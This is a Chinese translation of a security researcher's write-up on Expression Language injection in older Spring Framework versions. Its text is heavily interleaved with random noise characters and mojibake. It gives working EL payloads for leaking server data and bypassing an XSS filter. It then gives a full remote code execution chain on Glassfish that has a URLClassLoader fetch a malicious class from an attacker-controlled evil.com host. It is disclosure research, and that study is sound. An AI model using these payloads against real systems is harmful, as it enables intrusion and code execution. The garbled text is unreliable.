Remote Code with
( D: r3 r0 v: k. f9 V) W+ JExpression Language Injection
$ O: z6 Y2 } gSpring Framework脆弱性—DanAmodio" Z1 w0 f, D" A2 @" J. I4 m5 y
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中2 Y& g* ?0 u$ {2 e" \
可能会存在风险。
& U- }- c6 e- a在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的2 u% [! ^3 E1 X0 d+ F
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
( E3 E2 m4 ~% Y0 Q7 X" i. Y6 C以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
: P( P; G6 x) X2 |0 L: O8 x以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前9 Y. k" c. K9 O' @2 O, j3 L' F1 H, S
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。5 {9 ]7 ^0 R% V9 m3 j
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
1 l# F, `! V& z- Y, j我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版5 n% P8 s. [2 p7 C5 w5 l
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。" u/ Z7 e/ v& p$ z2 U3 {
这些版本不支持禁用double EL resolution.+ n" y5 U% I% K6 W/ b- D. ?
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含4 ~! R; h% F) m
EL2.2容器上可能进行远程代码执行。' s) X/ R; ?% @2 d8 |) {/ A; p( c
这是一个原始信息泄露的攻击例子:% ?/ R- |# j2 P2 P8 b. J9 a3 h
请求:
- O# a, [. T5 @' v8 Y! d) w( g. ~ttp://vulnerable.com/foo?message=${applicationScope}
: {& g( H2 Q0 n( ~ w! e到达以下内容页面:
! i2 F0 S& e8 y& B# r: v4 _结果将输出一些包含内部服务器信息calsspath 和本地工作目录
- B$ W/ n% w2 |' L( t你也可以做一些其他事情,如这样:
3 p4 H3 G- O. F. c4 Y/ F${9999+1}
2 D/ l; ?% D; R; x- A( [还可以访问session 对象和beans/ N. k3 f% G0 Q
${employee.lastName}
9 a" c% H' \ b$ ?& r! \/ N在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是. P5 W. i4 e5 q& u
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
! v+ ?6 |/ ]6 l5 i3 { J* Y西,比如XSS.2 B4 W9 F1 x0 q7 Y3 Y1 y
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
0 V4 h& f; f1 P' R8 k' h3 i# v突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
! Q/ H: V1 V2 Y- f* m) i呢?”3 e% f% r" n6 W" R i' r
因此,我尝试巳缦拢�
9 u5 h5 E6 A, _http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
) q5 ]8 f+ o$ OP8 \' ~& }* @+ p
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
+ I5 Q4 N6 P# |% j6 f9 }回的文本被插入进了spring:message 标签。
/ F% @4 j: k, Q% P& a. H这里是一个最终绕过过滤的实例:$ o2 ]9 z0 _7 { P4 u
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ, @8 F! w: `% T ?2 T
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为0 ]. v" s6 K1 ?* G( s* T
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
( G( B; n' v( a; A$ l9 Q7 D& W, t经过一番研究,我学习到EL2.2 增加了方法调用。) F& q) C& c' a' i |: G7 X- a
我写了一个快速测试应用程序代码并且检测一些功能; D0 P+ s7 } F- Z: ?5 U' w
${pageContext.request.getSession().setAttribute(“account”,”123456″)}$ a! Z0 @2 y1 x& U1 d: r
${pageContext.request.getSession().setAttribute(“admin”,true)}
[( }/ h4 r. ^6 U5 }' I好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的1 ^' k; T. j; L5 h( p
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
! \( w( y1 o7 J4 A" f8 E5 Y* E${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
j2 f6 ^. J( y! E" s“, 1234)}
9 V- l5 M) @% _& G6 p. n${“”.getClass().forName(“java.lang.Runtime”)}
& X- y& X! J* g# y" Y' q* h哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
8 B: A4 n: b: f可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函$ O6 m( z; o. d6 V K+ Z' Y8 Z
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
- q1 ^. `8 x# M+ v k一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
, s; |1 K& H- n5 n方法签名invoke(Object obj, Object„ args)
9 s) A# [) x, Y; L; ^; I% e. RJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问, z5 e# {1 |2 O5 A2 K3 X
题,以让它可以工作起来。
( y; ]- j1 c; k. A8 ]0 I* S. v漏洞利用:
' p: ?$ N6 M; ]1 Q7 E: Q) i# l; F我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我2 e/ T8 J2 I2 s! R8 H' [+ B
希望你们中的一些JAVA奇才告诉我我是如此的可笑。( s& w4 K8 i U. T9 Z' c
这里有一些我试过的失败的用例,为了试图让它工作的用例:
$ I6 x. Z" G2 M: e 写文件到文件系统
1 |( E; W* X2 R$ I( I/ _+ k) ^ 试图载入org.springframework.expression.spel.standard.SpelExpressionParser." @, H7 |7 ^( @4 y
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
" V0 x5 R6 k" X2 [3 l' w b${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
$ ~6 @( G* F6 B: ^! t8 K0 G/ L9 djavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
. w/ F" n, f0 R2 R0 K; S+ a2 ]org.springframework.expression.spel.standard.SpelExpressionParser not found
: l. K$ A: n, [0 v" lby% a7 p5 n9 ^1 ^# p2 a
org.glassfish.web.javax.servlet.jsp [194].
* S; a, R' [2 \+ L 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
* _: i' q4 W- ^8 F5 y/ u* }# n 利用反射来创建一个新的Runtime(and watch the world burn)
" N! J+ _/ K7 y n${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName9 u8 j1 H8 L# p9 b; e- k1 j& y
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
# Y9 \$ R/ B/ |( X0 b${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
, t& d- T1 d( c9 T% u+ O" p% _2 | 使用java.lang.ProcessBuilder
! ]; a% V+ F# _9 n1 f' i 用表达式语言来评估表达式语言
/ p6 x6 f2 k! M7 c/ GExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
( O, q" @, a7 ^) ^${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
' |$ h8 ]: c! ]" k( X% ~- f1 W“,”".getClass(),null)}
3 x! p& Q# b$ g$ ^' w& I' B- t) q# L 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)3 s' D* w' a4 `* a
我在使用一个空数组通过Method.invoke()时失败了很多次
% i" n, q; _' G: D# i4 F$ K+ u“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
" ?8 K4 \( Y$ {. T2 k% t- D.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A: u( o$ K/ N- a3 @, u6 ~* T& ]. B
rrayList”).newInstance().toArray())
- a7 i, ?( r1 h: W7 b/ F0 fjava.lang.IllegalArgumentException: wrong number of arguments6 `! c5 ~3 I5 ^( x* n6 C& J
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
* b1 w- G7 }) ?$ j以创建一个恶意class文件并且指向类装载器.
2 z; V L6 E6 L! s* u我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:- j H y6 i1 {8 ~
public class Malicious {
* s& q0 G1 [/ m. \4 Ypublic Malicious() {
5 s P& r8 t6 S* ~3 ttry {; H8 L, @" o$ m7 ]
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac9 e! y! E' \* v+ f. C J/ g
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win! S( w: |5 ~5 O g$ @6 j/ } Y9 H
} catch (Exception e) {
# b; a I2 n3 G. }9 q, `8 x5 b% c6 y}
$ `0 P/ l) l& ]) _}
/ E) T' v# W4 p L3 c我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
8 ` c6 f; H5 t9 e; c话中,因此它可以被使用.6 g* W6 ^, \( k. D1 S9 \
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName& p, Z' `2 n H F% x+ I w# L0 H
(“java.util.ArrayList”).newInstance())}- Y( m I5 X" M3 l0 B$ ^4 o
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建2 v& D* y9 t9 [: B0 \
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和) E% d- o5 V0 X; I$ [' _
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
) o* Y0 g, A. ?$ w! L S ?: I% c我们可以调用的create(string)方法,然后转换对一个URL对象。4 e9 R3 D4 W+ W. K' z+ ` z
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
$ k, k4 x* U# I: R1 M0 F9 cere/malicious/classfile/is/located/”).toURL())}+ l5 E" l! M h
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
- U$ X" K2 t, i恶意类文件被装载并创建,触发远程代码.( z1 @9 ]$ e+ ^1 r8 v/ r
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte6 w9 A% u: p& p1 ~- O% H9 F9 @
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().1 U& m |- I/ ~6 |( p- P5 D8 _" n( a
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
: A; d! ~3 y& F()} |